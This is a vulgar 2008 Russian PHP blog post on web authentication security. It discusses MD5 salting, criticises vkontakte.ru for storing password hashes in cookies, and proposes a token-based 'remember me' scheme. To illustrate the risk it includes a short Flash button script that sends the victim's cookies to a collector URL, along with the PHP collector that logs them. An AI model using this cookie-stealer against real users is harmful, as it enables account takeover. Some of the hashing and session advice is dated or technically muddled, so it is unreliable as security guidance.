Всея ПЫХА epsyl adw0rd Мавр ГО Irinax http://hell.helldude.ru - это пиздец

безопасность. «такое в книгах не пишут». а так всего лишь рассуждения.

Рубрики: (MYSQL, php, безопасность, кеширование, пожалуйста ..., Полезные штуки) Автор: phpdude 22-11-2008

Теги : , , , , , ,

Добрый ночь у меня уже)

Рассуждения насчет соли.

Мд5 + соль, я думаю что это достаточно хорошая защита, причем она хорошая, если человек не может добраться до самой соли, иначе это уже не защита, куда деть соль … в БД? Зачем? Если пользователей пароли взяли из БД к примеру злой админ сервера. В файлы? … у меня нет ответа, возможно даже лучший метод – кусок закрытого зенд кодированного файла который имеет эту самую соль )))

Да и … смотрите что дает соль, она дает всего лишь еще одну итерацию при раскодировании мд5 пароля, правильно? Предполагаю что да. Ну и что стоит сделать 2 итерации? Вместо одной ? взять 10 паролей, узнать их засоленными, получаем нечто вида Yj&#(*!-that’s-my-great-uncrackable-password. Yj&#(*!-other-best-password-this-world. Я думаю понятно становится где соль)) хоть куда ее положи. Двойной, тройной, четверной мд5 – тот же исход, просто количество итераций в обратную сторону добавляют. Имхо правильнее md5(crypt + blowfish). Имхо куда поинтереснее будет безопасность ;)

Это насчет хоронения в БД.

ps:// могут найтись те, кто скажет что я ничего не понимаю в соли. они правы, я ее никогда не использовал. это плохо? думаю что нет. но использовать буду в SiteMaster CMS.

Авторизация

Насчет авторизации, посмотрите vkontakte.ru там эти дибилоиды хранят пароли в кукисах, их авторизация ничто иное
If($db->select(“users”,array(“username”=>”blondy”,”password”=>”MYPASSWORD”)))
{
Setcookie(“vpedrilke_user”, ”blondy”,time() + 86400*3650);
Setcookie(“vpedrilke_password”, md5(”MYPASSWORD”),time() + 86400*3650(Я НЕ ЛЮБЛЮ ЗАПОМИНАТЬ ПАРОЛИ));
}

Круто, теперь можно его проверять по бырому и если все гут, то идентифицировать! Мы сделали эту ебанную галку «запомнить меня». Можно идти пить шампусик!))

Это имхо совсем хуевый вариант. Ибо спиздить пароль таким методом – посрать сходить. Как??? А легко.

Смотрите, помните там есть раздел «ПРИЛОЖЕНИЯ»? Вы писали на флеше? Вот вам простой actions script код, представим что есть кнопка «спиздить пароль» на фрейме. И код этого фрейма выглядит так.

On(release) {
getURL(“javascript: location.href=\http://phpdude.ru/vkontakte_passwords_collector.php?\”+documents.cookie);
}

Ну и
vkontakte_passwords_collector.php
<?
File_put_contents(“idiots.txt”,$_SERVER[‘QUERY_STRING’]);

И вот представьте если какая нить игра «комната» будет иметь такую свинью? Тыс 300-400 профилей уйдут в никуда как посрать. Ведь! Я могу с этими кукисами зайти на страницу юзера и сменить пароль.

Правильный вариант авторизации

Авторизация – заезженный $db->select . получили юзера массив, я всегда делаю так

$_SESSION[user]  = $userfromdb;

Клево? Да, клево.
К этому можно добавить
$_SESSION[‘loginip’] = $_SERVER[‘REMOTE_ADDR’];

А вот теперь уже, if(!$_SESSION[‘loginip’] || $_SESSION[‘loginip’]!=$_SERVER[‘REMOTE_ADDR’]) unset($_SESSION[user]);

Unset – на случай злоебучих register_globals. Который сам вечно где то переменные берет…

Это простая авторизация.

Теперь кнопка «запомнить меня на этом говносайте»

Пример дурова – ебень, думаю это понятно.

Хороший пример.

Таблица юзерз имеет поле token + userip.
После авторизации сделать в $token = getoken();$db->update(“users”,array(“token”=> $token,”userip”=>$_SERVER[‘REMOTE_ADDR’]),$user[‘id’]);

Ну и положить этот токен в кукис на 100 тысяч мульонаф лет)))

Setcookie(“usertoken”,$token,time() + 86400 * 3650);

Ну и дальше проверять на всех страницах if($_COOKIE['usertoken'])$user = $db->get(“users”,array(“token”=>$_COOKIE[‘token’],”userip”=>$_SERVER[‘REMOTE_ADDR’]));

ну да, модное слово «кеширование». добавим if($_SESSION['usercheck'] + 900 < time()){код авторизации}. я тоже не люблю делать много запросов, которые можно закешировать.

Думаю суть понятна

До кучи пара замечаний.

Первое – для всех форм кроме поиска используйте метод POST. Плюсы этого – вы сможете не запоминая какой метод использовали обращаться к переменным $_POST[‘param’] + кулхацкерам будет сложнее подделать данные на сайт, ведь ссылку то в асе можно дать на покупку товара, а ПОСТ ссылку заебешься)))

Второе – для всех поисков делайте $_GET. Ибо можете с пейджингом заебаться, сложно будет мержить $_POST + $_GET.

Третье – забудьте про register_globals и magic_quotes(сжег бы автора этой идее «магической» поебени)

Четвертое – ЗАБУДЬТЕ ПРО $_REQUEST. Используйте всегда пост или гет и не будете путаться, поверьте ;)

Пятое – купите бутылку пива и выпейте ее. )))) давно хочу так сделать, времени не жалко ))))

Ибо мое пиво всегда заканчивается вот так

это я после обычного студенческого вечера. выпили то всего ящика 2 пива %)

это я после обычного студенческого вечера. выпили то всего ящика 2 пива %)

я справа. Фотка старая, но времена хорошие

По сути все.

Комментарии RSS тут:

Всего отзывов: 29 на безопасность. «такое в книгах не пишут». а так всего лишь рассуждения.

Оставьте свой отзыв

XHTML: Вы можете использовать следующие теги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

О САЙТЕ

Крик души может быть будет на этом сайте, а может и будет что-нибудь другое :)



Яндекс.Метрика